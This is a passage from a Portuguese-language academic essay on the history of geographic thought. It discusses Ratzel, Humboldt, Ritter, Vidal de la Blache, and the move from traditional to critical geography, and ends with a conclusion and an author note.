teoria miltoniana se tornou mais complexa, mais ampla e bem fundamentada, além
de ter acompanhado as mudanças pelas quais o mundo passou nesse período, isto é
em grande parte dessa evolução da teoria, destacamos que o espaço geográfico
passou a ser definido como um conjunto indissociável de sistemas de objetos e
de sistemas de ação, ou seja, um conjunto indissociável de sistemas porque o
que interessa é os territórios usados, sinônimos de espaço geográfico.
Conseqüentemente, o estudo do espaço geográfico só pode ocorrer através do
estudo de seu uso.

 

 

GEOGRAFIA CRÍTICA

 

 

                  Segundo Antonio
Carlos Robert Morais em geografia – pequena história crítica, ele argumentou
que a Geografia quando surgiu teve por base a corrente do pensamento
positivista que, segundo ele, a manifestação inicial dessa filiação positivista
está na dedução de todo o trabalho cientifico ao domínio da aparência dos
fenômenos. Isto quer dizer que para Morais o positivismo e os estudos devem
restringir-se aos aspectos do visível, do real, mensuráveis, palpáveis. Outro
aspecto importante da Geografia na concepção positivista é a predominância de
uma única maneira de interpretar os elementos da natureza. A sistematização
efetiva do conhecimento geográfico se dá no inicio do séc. XIX, apresentando os
seguintes pressupostos: conhecer a extensão real do planeta; dominar
informações sobre os variados lugares da Terra e sua diversidade.

                   O terceiro
pressuposto referia-se aos domínios das técnicas cartográficas, assim, conforme
coloca Morais, a representação gráfica de modo padronizado e preciso, era
requisito de reflexão geográfica, bem como, uma necessidade de comércio que
estava em expansão. O último diz respeito às idéias concebidas filosoficamente
e cientificamente; criadas à conveniência da classe política e capitalista. A
apresentação de uma Geografia sistematizada se deu inicialmente com Alexandre
Von Humboldt e Karl Ritter.

                   Enquanto
Humboldt concebia a Geografia como ponte terrestre das ciências com os cosmos,
uma espécie de síntese dos conhecimentos relativos à Terra. Ritter contradiz à
Humboldt, pois acreditava que a ciência era uma forma de relação entre o homem
e o “criador”. Contudo, os dois autores escrevem sobre conhecimentos
geográficos pautados numa visão da Geografia Tradicional. Uma evolução na
sistematização desta área de estudo ocorre com Friedrich Ratzel. Segundo este,
o progresso significaria um maior uso dos recursos do meio. Ex.: a perda de
território seria a maior prova de decadência de uma sociedade, o progresso
entretanto, implicaria a necessidade de aumentar o território; conquistar novas
áreas. Mas outro teórico, Paul Vidal de la Blache se opõe à teoria de Raztel,
condenando a relação entre o pensamento geográfico e a defesa dos interesses
políticos imediatos. Defendia que o homem é influência do meio, porém, atua e
modificar o espaço geográfico. Discute a relação homem-natureza e não a relação
entre os homens. Também estuda a alterarão que o meio sofre em decorrência da
atuação do homem e que está constantemente modificando-o.

                 Mais estudiosos
como o Geógrafo Alfred Hettner estuda a diferença da superfície terrestre e Humboldt
estuda as suas inter-relações; argumentando que fenômenos variam de lugar a
lugar. Apesar de a Geografia tradicional ter sido alvo de intensas criticas,
contudo, ela foi a pioneira na elaboração de material para futuros estudos e
pesquisas. Surge, assim, a Geografia Renovada que busca novos caminhos, novas
linguagens e propostas.As certezas absolutas caíram por chão. Agora esta nova
concepção de Geografia traz no seu bojo a diversidade de métodos de
interpretação. E se subdivide em Geografia Pragmática e Geografia critica.

                  A Geografia
Pragmática restringe apenas a insuficiência da análise tradicional – permanece
num nível mais formal. Neste aspecto tanto a geografia tradicional, quanto a
renovada apresentam as mesmas características. Conforme Morais, essa
atualização do discurso burguês a respeito do espaço, que se poderia chamar de
renovação conservadora da Geografia, corre a passagem dessa disciplina do
positivismo para o neopositivismo. Do lado direto do trabalho de campo, o
estudo filtrado pela parafernália da cibernética […]. 0 Da submissão total as
procedimentos indutivo para o raciocínio dedutivo.

                  Esta nova
concepção de Geografia surge com o mesmo proposto da concepção da Geografia
Tradicional – defender os interesses das classes que estão no poder.
Entretanto, é na Geografia crítica que ocorre uma mudança com concepções de
interesses.Os atores sociais também sãos outros. A Geografia Crítica incide nos
compromissos sociais e aponta agora para propostas de renovação efetivamente.
Dentre as concepções Geográficas existentes; a Geografia Crítica é a defende
com mais veemência os direitos do povo e que, se opondo à injustiça apresenta a
necessidade da conscientização e politização das pessoas para fazer valer os
seus direitos enquanto cidadãos. Segundo o geógrafo, Paulo César da Costa
Gomes, em seu livro "Geografia e Modernidade", falou sobre Ratzel e a
relação recíproca do homem com a terra, no seguinte texto:

 

A análise de Ratzel descrevia vários gêneros de
dinâmicas territorais, tentando traçar um quadro geral ou um modelo para essas
dinâmicas. Ele se interessava sobretudo pela relação solo/cultura e pensava ser
capaz de estabelecer leis regulares explicativas, isto é, seu objetivo final
era costituir uma teoria espacial positiva. (GOMES, 1996, p. 188)

 

                   É verdade que
Ratzel tem como seu objeto principal de estudo "a relação de poder e a
terra", em outras palavras a formação do território. Vale ressaltar que
Ratzel tem sua formação inicial universitária naturalista, por isso, ele sempre
faz em seus estudos a relação do homem com "a terra". É na sua
formação inicial acadêmica que Ratzel e suas idéias se integram com as teorias
evolucionistas darwinianas, contribuindo para a concepção do determinismo
geográfico, um determinismo com base na relação entre o "ser" e
"meio". Ainda, segundo GOMES (1996. p.188),

 

Desta forma, o pensamento de Ratzel teve um papel de mudança
paradigmática nas concepções geográficas. Através da idéia de inter-relação e
conexão entre o seres vivos e seus meios naturais, Ratzel, influenciado por
Haeckel, propõe um perspectiva nova para o determinismo geográfico. Neste caso,
a idéia de causa e efeito imediatamente determináveis é substituída por uma
determinação produzida ao longo de um processo de evolução e de
diferenciação". Para Peet, a geografia científica moderna nascia a partir
do "determinismo ambiental". GOMES (1996. p.188)

 

 

 

CONCLUSÃO

 

 

                  Concluímos
que a realização dessas leituras, que tratava sobre a epistemologia e a
hermenêutica da teoria da geografia e sobre a história do pensamento geográfico
que discutiam sobre o geógrafo alemão Freidrich Ratzel, verificou-se o quanto é
difícil desenvolver os estudos teórico-metodológicos e, ao mesmo tempo, o
quanto necessários eles são para a formação do geógrafo, principalmente do
professor de geografia.

                  Ao estudar as
principais correntes do pensamento geográfico do princípio clássico da
geografia, percebi a relação entre a compreensão dos objetos de estudos
geográficos ratzelianos e suas construções metodológicas, induzindo com o
contexto histórico de suas formulações. É interessante ressaltar que devida importância
de tal princípio ou lei para a consolidação da Ciência Geográfica no contexto
de sistematização da Ciência Moderna. Assim, acredita-se que foi a partir daí
que houve a inserção da Geografia no processo de institucionalização,
adentrando as Universidades e instituições de ensino.

                  No decorrer
desta pesquisa, os estudos de textos contextualizados e intertextualizados
originalmente das fontes clássicas foram fundamentais, inclusive a maioria dos
livros e os textos contemporâneos de discussão teórica estavam voltados ao
pensamento geográfico, buscando, em sua essência, estudar os aspectos
teórico-metodológicos da geografia sob a ótica da dicotomia Geografia
Tradicional e Geografia Crítica, criando uma visão em grande parte não dialética
e não processual, onde se costumam rotular os pensamentos desenvolvidos durante
a chamada geografia tradicional como se fossem homogêneos, lineares.

                  Nota-se que a
argumentação da Geografia Tradicional é também conhecida como Geografia Clássica,
que emergiu no século XIX, inicialmente nos países da Alemanha e na França,
difundindo-se aos demais países, tendo como precursores Alexandre Von Humboldt
e Carl Ritter. Nesta corrente emergem as primeiras definições do que seria a
definição de geografia e qual seria o seu objeto de análise, já que no momento
de sua sistematização não havia clareza e distinção quanto ao objeto de estudo,
mas, a geografia era tida como a ciência do cosmo. Segundo Alfred Hettner
caberia à Geografia a análise das influências e interações entre o homem e o meio,
Albert Demageon conceitua a Geografia como o estudo dos grupos humanos nas suas
relações com o meio geográfico e para Emmanuel De Martonne a geografia moderna encara
a distribuição à superfície do globo dos fenômenos físicos, biológicos e humanos,
as causas dessa distribuição e as relações locais desses fenômenos.

                   É importante
destacar ainda que a Geografia Tradicional foi fortemente marcada pela
existência de dicotomias, como a Geografia Física e Geografia Humana, Geografia
Geral e Geografia Regional. E é por isso que caberia a Geografia Física
ocupar-se com o estudo do quadro natural e à Geografia Humana preocupava-se com
a distribuição dos aspectos originados pelas atividades humanas, nesta relação
dicotômica a Geografia Física obteve a imagem de ser mais consolidada que a
Geografia Humana, devido ao próprio desenvolvimento das ciências naturais,

                   Esse tipo de
análise, a nosso ver, empobrece a rica e complexa essência epistemológica do pensamento
geográfico e falseia a verdadeira contribuição dos autores clássicos,
enquadrados como tradicionais, para o desenvolvimento da geografia
contemporânea, que em seus respectivos contextos históricos e científicos foram
de grande capacidade crítica e criativa, a partir de suas bases
teórico-metodológicas e políticas. Afinal, a criticidade não possui referencial
único, ela é histórica e relativa.

 

 

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[1]Graduado
em Licenciatura em História pela Universidade Estadual da Paraíba [UEPB] e
Graduando em Licenciatura Plena em Filosofia pela Universidade Estadual da
Paraíba [UEPB].

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